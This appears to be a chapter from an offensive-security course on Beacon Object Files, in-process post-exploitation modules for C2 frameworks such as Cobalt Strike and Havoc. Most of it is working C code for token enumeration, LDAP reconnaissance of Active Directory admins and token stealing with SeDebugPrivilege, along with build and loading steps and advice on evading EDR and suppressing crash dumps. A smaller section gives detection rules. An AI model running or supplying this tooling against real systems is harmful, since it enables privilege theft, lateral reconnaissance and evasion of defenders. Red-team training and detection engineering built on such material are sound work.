Chapter 141

Beacon Object Files (BOFs)

BOFs are COFF object files loaded and executed in-process by the beacon without spawning a new process or touching disk. This chapter covers the full BOF model: COFF loading, the beacon internal API (BeaconPrintf, BeaconDataParse, WINAPI macro), writing a whoami BOF, an LDAP query BOF, a token-stealing BOF, and how BOFs behave differently from execute-assembly in EDR telemetry.

Scenario

You're running a Cobalt Strike or Havoc C2 session on a heavily monitored host. Every time you use execute-assembly, a new CLR is spun up in a sacrificial process — Sysmon Event 8 fires, the CLR DLL load is logged, and the sacrificial process spawns and dies within seconds, which looks obviously suspicious. You want to run post-exploitation tasks (enumerate AD, check token privileges, read local SAM) without spawning any child processes. BOFs run entirely inside your beacon process, as if they were functions in the beacon's own code — zero new processes, zero new DLL loads, sub-second execution.

BOF Execution Model

Traditional execute-assembly: Beacon → spawn sacrificial process (notepad.exe) → inject CLR + .NET assembly into notepad → notepad executes assembly → capture output via pipe → notepad exits Artifacts: new process spawn (Event 4688), CLR loaded in notepad (Sysmon 7), pipe handles, CreateRemoteThread (Sysmon 8) BOF execution: Beacon receives COFF object file bytes over C2 Beacon's internal COFF loader: 1. Allocate RWX memory (or RW, then RX) 2. Copy COFF sections (.text, .data) into allocation 3. Walk COFF relocation table → patch function call offsets 4. Resolve __imp_* symbols against WINAPI function addresses 5. Call go(char* args, int argsLen) — the BOF entry point 6. BOF writes output via BeaconPrintf() — sent back over C2 7. BOF returns → memory freed Artifacts: VirtualAlloc + thread execution in beacon process NO new process, NO new DLL load (unless BOF calls LoadLibrary) COFF format recap: COFF = Common Object File Format = the .obj output of a compiler NOT a full PE — no DOS/NT headers, just section table + symbol table + relocations Produced by: cl.exe /c (compile only, don't link) or x86_64-w64-mingw32-gcc -c

Beacon Internal API (beacon.h)

// beacon.h — provided by TrustedSec / Cobalt Strike SDK
// BOFs use these macros to call Windows APIs and output results back to the operator.
// WINAPI: looks up the function from the DLL specified — dynamic resolution, no imports.
// BeaconPrintf: formats and sends a string back to the C2 operator.

// Required includes for all BOFs:
#include "windows.h"
#include "beacon.h"

// API declaration macros (from beacon.h):
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD, BOOL, DWORD);
DECLSPEC_IMPORT BOOL   WINAPI KERNEL32$CloseHandle(HANDLE);
DECLSPEC_IMPORT BOOL   WINAPI ADVAPI32$OpenProcessToken(HANDLE, DWORD, PHANDLE);
DECLSPEC_IMPORT BOOL   WINAPI ADVAPI32$LookupPrivilegeNameW(LPCWSTR, PLUID, LPWSTR, LPDWORD);
DECLSPEC_IMPORT BOOL   WINAPI ADVAPI32$GetTokenInformation(HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD);
DECLSPEC_IMPORT DWORD  WINAPI KERNEL32$GetCurrentProcessId();

// BeaconPrintf: send formatted output to operator console
// BeaconOutput: send raw bytes
// BeaconDataParse: parse structured argument buffer from C2

// Argument parsing macros (structured args sent from aggressor script):
typedef struct {
    char*  original;
    char*  buffer;
    int    length;
    int    size;
} datap;

DECLSPEC_IMPORT void   BeaconDataParse(datap* parser, char* buffer, int size);
DECLSPEC_IMPORT int    BeaconDataInt(datap* parser);
DECLSPEC_IMPORT short  BeaconDataShort(datap* parser);
DECLSPEC_IMPORT int    BeaconDataLength(datap* parser);
DECLSPEC_IMPORT char*  BeaconDataExtract(datap* parser, int* size);
DECLSPEC_IMPORT void   BeaconPrintf(int type, char* fmt, ...);
DECLSPEC_IMPORT void   BeaconOutput(int type, char* data, int len);

// Output types:
#define CALLBACK_OUTPUT       0x0
#define CALLBACK_OUTPUT_OOB   0x1
#define CALLBACK_ERROR        0xD

whoami BOF — Tokens and Privileges

// BOF: dump current process token info — username, integrity level, privileges
// Compile: x86_64-w64-mingw32-gcc -o whoami.o -c whoami.c
// Load in CS: beacon> inline-execute whoami.o

#include "windows.h"
#include "beacon.h"

DECLSPEC_IMPORT HANDLE  WINAPI KERNEL32$GetCurrentProcess();
DECLSPEC_IMPORT BOOL    WINAPI ADVAPI32$OpenProcessToken(HANDLE,DWORD,PHANDLE);
DECLSPEC_IMPORT BOOL    WINAPI ADVAPI32$GetTokenInformation(HANDLE,TOKEN_INFORMATION_CLASS,LPVOID,DWORD,PDWORD);
DECLSPEC_IMPORT BOOL    WINAPI ADVAPI32$LookupAccountSidW(LPCWSTR,PSID,LPWSTR,LPDWORD,LPWSTR,LPDWORD,PSID_NAME_USE);
DECLSPEC_IMPORT BOOL    WINAPI ADVAPI32$LookupPrivilegeNameW(LPCWSTR,PLUID,LPWSTR,LPDWORD);
DECLSPEC_IMPORT BOOL    WINAPI KERNEL32$CloseHandle(HANDLE);

void go(char* args, int argsLen) {
    HANDLE hToken;
    if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(),
                                   TOKEN_QUERY, &hToken)) {
        BeaconPrintf(CALLBACK_ERROR, "[-] OpenProcessToken failed: %d\n",
                     KERNEL32$GetLastError());
        return;
    }

    // Get username via TokenUser
    BYTE buf[512]; DWORD needed;
    ADVAPI32$GetTokenInformation(hToken, TokenUser, buf, sizeof(buf), &needed);
    TOKEN_USER* tu = (TOKEN_USER*)buf;
    wchar_t name[128], domain[128]; DWORD nLen=128, dLen=128;
    SID_NAME_USE use;
    ADVAPI32$LookupAccountSidW(NULL, tu->User.Sid, name, &nLen, domain, &dLen, &use);
    BeaconPrintf(CALLBACK_OUTPUT, "[*] User: %S\\%S\n", domain, name);

    // Integrity level
    ADVAPI32$GetTokenInformation(hToken, TokenIntegrityLevel, buf, sizeof(buf), &needed);
    TOKEN_MANDATORY_LABEL* tml = (TOKEN_MANDATORY_LABEL*)buf;
    DWORD rid = *GetSidSubAuthority(tml->Label.Sid,
                   *GetSidSubAuthorityCount(tml->Label.Sid)-1);
    const char* level = rid >= 0x4000 ? "System"
                       : rid >= 0x3000 ? "High"
                       : rid >= 0x2000 ? "Medium" : "Low";
    BeaconPrintf(CALLBACK_OUTPUT, "[*] Integrity: %s (RID: 0x%X)\n", level, rid);

    // Enumerate privileges
    ADVAPI32$GetTokenInformation(hToken, TokenPrivileges, buf, sizeof(buf), &needed);
    TOKEN_PRIVILEGES* tp = (TOKEN_PRIVILEGES*)buf;
    BeaconPrintf(CALLBACK_OUTPUT, "[*] Privileges (%d):\n", tp->PrivilegeCount);
    for (DWORD i = 0; i < tp->PrivilegeCount; i++) {
        wchar_t privName[64]; DWORD pLen = 64;
        ADVAPI32$LookupPrivilegeNameW(NULL, &tp->Privileges[i].Luid, privName, &pLen);
        BOOL enabled = (tp->Privileges[i].Attributes & SE_PRIVILEGE_ENABLED) != 0;
        BeaconPrintf(CALLBACK_OUTPUT, "    %-40S [%s]\n",
                     privName, enabled ? "Enabled" : "Disabled");
    }
    KERNEL32$CloseHandle(hToken);
}

LDAP Query BOF

// BOF: query Active Directory via LDAP from within the beacon process
// No SharpHound executable, no Rubeus, no new process — pure in-process COM LDAP

#include "windows.h"
#include "winldap.h"
#include "beacon.h"

DECLSPEC_IMPORT LDAP*  WLDAP32$ldap_init(PSTR host, ULONG port);
DECLSPEC_IMPORT ULONG  WLDAP32$ldap_simple_bind_s(LDAP* ld, PSTR dn, PSTR password);
DECLSPEC_IMPORT ULONG  WLDAP32$ldap_search_s(LDAP* ld, PSTR base, ULONG scope,
                         PSTR filter, PCHAR* attrs, ULONG attrsonly, LDAPMessage** res);
DECLSPEC_IMPORT LDAPMessage* WLDAP32$ldap_first_entry(LDAP* ld, LDAPMessage* chain);
DECLSPEC_IMPORT LDAPMessage* WLDAP32$ldap_next_entry(LDAP* ld, LDAPMessage* entry);
DECLSPEC_IMPORT PCHAR* WLDAP32$ldap_get_values(LDAP* ld, LDAPMessage* entry, PSTR attr);
DECLSPEC_IMPORT ULONG  WLDAP32$ldap_msgfree(LDAPMessage* res);
DECLSPEC_IMPORT ULONG  WLDAP32$ldap_unbind(LDAP* ld);

void go(char* args, int argsLen) {
    datap parser;
    BeaconDataParse(&parser, args, argsLen);
    char* dc      = BeaconDataExtract(&parser, NULL); // e.g. "dc01.corp.local"
    char* baseDN  = BeaconDataExtract(&parser, NULL); // e.g. "DC=corp,DC=local"
    char* filter  = BeaconDataExtract(&parser, NULL); // e.g. "(adminCount=1)"

    LDAP* ld = WLDAP32$ldap_init(dc, LDAP_PORT);
    if (!ld) { BeaconPrintf(CALLBACK_ERROR, "[-] ldap_init failed\n"); return; }

    // Bind using current process token (Kerberos/NTLM via SSPI)
    WLDAP32$ldap_simple_bind_s(ld, NULL, NULL);

    char* attrs[] = { "sAMAccountName", "memberOf", "userAccountControl", NULL };
    LDAPMessage* result = NULL;
    ULONG err = WLDAP32$ldap_search_s(ld, baseDN, LDAP_SCOPE_SUBTREE,
                                       filter, attrs, 0, &result);
    if (err != LDAP_SUCCESS) {
        BeaconPrintf(CALLBACK_ERROR, "[-] LDAP search error: %u\n", err);
        WLDAP32$ldap_unbind(ld);
        return;
    }

    LDAPMessage* entry = WLDAP32$ldap_first_entry(ld, result);
    while (entry) {
        PCHAR* vals = WLDAP32$ldap_get_values(ld, entry, "sAMAccountName");
        if (vals && vals[0])
            BeaconPrintf(CALLBACK_OUTPUT, "  [+] %s\n", vals[0]);
        entry = WLDAP32$ldap_next_entry(ld, entry);
    }

    WLDAP32$ldap_msgfree(result);
    WLDAP32$ldap_unbind(ld);
}

Token Steal BOF

// BOF: steal token from a specified PID and impersonate it in the beacon thread
// Operator calls: inline-execute token_steal.o [PID]
// After execution: beacon runs subsequent commands as the stolen user

#include "windows.h"
#include "beacon.h"

DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD,BOOL,DWORD);
DECLSPEC_IMPORT BOOL   WINAPI ADVAPI32$OpenProcessToken(HANDLE,DWORD,PHANDLE);
DECLSPEC_IMPORT BOOL   WINAPI ADVAPI32$DuplicateTokenEx(HANDLE,DWORD,LPSECURITY_ATTRIBUTES,
                                 SECURITY_IMPERSONATION_LEVEL,TOKEN_TYPE,PHANDLE);
DECLSPEC_IMPORT BOOL   WINAPI ADVAPI32$ImpersonateLoggedOnUser(HANDLE);
DECLSPEC_IMPORT BOOL   WINAPI ADVAPI32$AdjustTokenPrivileges(HANDLE,BOOL,PTOKEN_PRIVILEGES,
                                 DWORD,PTOKEN_PRIVILEGES,PDWORD);
DECLSPEC_IMPORT BOOL   WINAPI ADVAPI32$LookupPrivilegeValueW(LPCWSTR,LPCWSTR,PLUID);
DECLSPEC_IMPORT BOOL   WINAPI KERNEL32$CloseHandle(HANDLE);

void go(char* args, int argsLen) {
    datap parser;
    BeaconDataParse(&parser, args, argsLen);
    DWORD targetPid = (DWORD)BeaconDataInt(&parser);

    // Enable SeDebugPrivilege first
    HANDLE hSelf; ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(),
                                              TOKEN_ADJUST_PRIVILEGES, &hSelf);
    TOKEN_PRIVILEGES tp = { .PrivilegeCount = 1,
                             .Privileges[0].Attributes = SE_PRIVILEGE_ENABLED };
    ADVAPI32$LookupPrivilegeValueW(NULL, L"SeDebugPrivilege",
                                   &tp.Privileges[0].Luid);
    ADVAPI32$AdjustTokenPrivileges(hSelf, FALSE, &tp, sizeof(tp), NULL, NULL);
    KERNEL32$CloseHandle(hSelf);

    HANDLE hProc = KERNEL32$OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, targetPid);
    if (!hProc) {
        BeaconPrintf(CALLBACK_ERROR, "[-] OpenProcess(%d) failed: %d\n",
                     targetPid, KERNEL32$GetLastError());
        return;
    }
    HANDLE hToken, hDup;
    ADVAPI32$OpenProcessToken(hProc, TOKEN_DUPLICATE, &hToken);
    ADVAPI32$DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL,
                              SecurityImpersonation, TokenImpersonation, &hDup);
    ADVAPI32$ImpersonateLoggedOnUser(hDup);
    BeaconPrintf(CALLBACK_OUTPUT,
                 "[+] Impersonating token from PID %d — subsequent commands use stolen token\n",
                 targetPid);
    KERNEL32$CloseHandle(hToken);
    KERNEL32$CloseHandle(hDup);
    KERNEL32$CloseHandle(hProc);
}

BOF Build and Integration

# Build a BOF with MinGW (cross-compiler on Linux):
x86_64-w64-mingw32-gcc -o whoami.o -c whoami.c \
    -masm=intel \
    -Wall \
    -I/opt/BOF-headers/   # directory containing beacon.h

# Verify COFF format (should be pe-x86-64 COFF):
file whoami.o
# x86_64-w64-mingw32-gcc output is COFF — correct format for BOF loading

# Load in Cobalt Strike (aggressor script):
alias whoami-bof {
    $bof = bof_pack("", "");   # no args for this BOF
    beacon_inline_execute($1, script_resource("whoami.o"), "go", $bof);
}

# Load in Havoc C2 (Python aggressor equivalent):
# havoc> dotnet inline-execute whoami.o

# Verify relocations are handled properly:
objdump -r whoami.o   # shows relocation table — must be processed by COFF loader

# BOF framework compatibility:
# TrustedSec COFFLoader:  open-source COFF loader for custom beacons
# Meterpreter:            bof.load extension
# Sliver:                 execute-bof command
# BruteRatel:             native BOF support via brC4
# Havoc C2:               dotnet inline-execute (wraps COFF loader)

Detection Engineering

-- BOF detection challenges:
-- No new process (no 4688, no Sysmon 1)
-- No new DLL load (no Sysmon 7 — unless BOF explicitly calls LoadLibrary)
-- No disk artifact (BOF bytes live only in beacon's VirtualAlloc'd memory)

-- What IS detectable:

-- 1. VirtualAlloc(PAGE_EXECUTE_READWRITE) in beacon process at runtime
--    Followed by execution from that region → same signal as shellcode injection
--    Sysmon 10 (ProcessAccess) if BOF opens other processes

-- 2. API calls from the beacon process that are unusual for the host binary
--    BOF that calls wldap32 functions from notepad.exe → anomalous

-- 3. BOF crashes: if a BOF crashes, it takes the entire beacon with it
--    The beacon process terminates unexpectedly → generates a Watson report
--    Crash analysis: minidump in C:\Windows\Temp or C:\ProgramData — forensically valuable

title: Executable Memory Allocated and Executed in Suspicious Process
logsource:
  product: windows
  category: process_tampering
detection:
  selection:
    EventID: 25
    Type: 'Image is loaded'     # new executable region in process
  filter_legit:
    Image|endswith:
      - '\msbuild.exe'
      - '\powershell.exe'
      - '\dotnet.exe'
  condition: selection AND NOT filter_legit
level: medium

-- MDE KQL: anomalous API usage from known-innocent host process
DeviceEvents
| where InitiatingProcessFileName =~ "notepad.exe"
| where ActionType in~ ("LdapSearch", "OpenProcessApiCall",
                         "CreateRemoteThreadApiCall")
| project Timestamp, DeviceName, ActionType,
          InitiatingProcessCommandLine, AdditionalFields

Q&A

What happens to the beacon if a BOF crashes, and how does this affect operational security?

A BOF executes in the same thread context as the beacon's main execution loop — it is not sandboxed or isolated. If a BOF throws an access violation, stack overflow, or division by zero, that exception propagates to the beacon process itself. Unless the COFF loader wraps BOF execution in a structured exception handler (SEH) — which TrustedSec's COFFLoader and Cobalt Strike's built-in loader both do — the unhandled exception terminates the entire beacon process. The operational security implications are significant. First, the beacon session is lost and requires re-delivery. Second, Windows Error Reporting (WER) may capture a crash dump: a minidump of the beacon process containing memory pages with decrypted shellcode, config data, active C2 channels, and potentially the BOF bytes that caused the crash. These minidumps are written to %LOCALAPPDATA%\CrashDumps\ or reported to the WER service and potentially uploaded to Microsoft telemetry. Crash dumps are one of the most forensically rich artifacts in an incident investigation — a beacon crash dump can reconstruct the entire implant's internal state. Mitigation: (1) test BOFs extensively in a lab before operational deployment; (2) verify the COFF loader wraps execution in SEH; (3) disable WER reporting via Group Policy if you have admin access (though this itself is a detection signal); (4) prefer BOFs that perform simple, well-understood API calls over complex multi-step operations that could fault on edge-case inputs.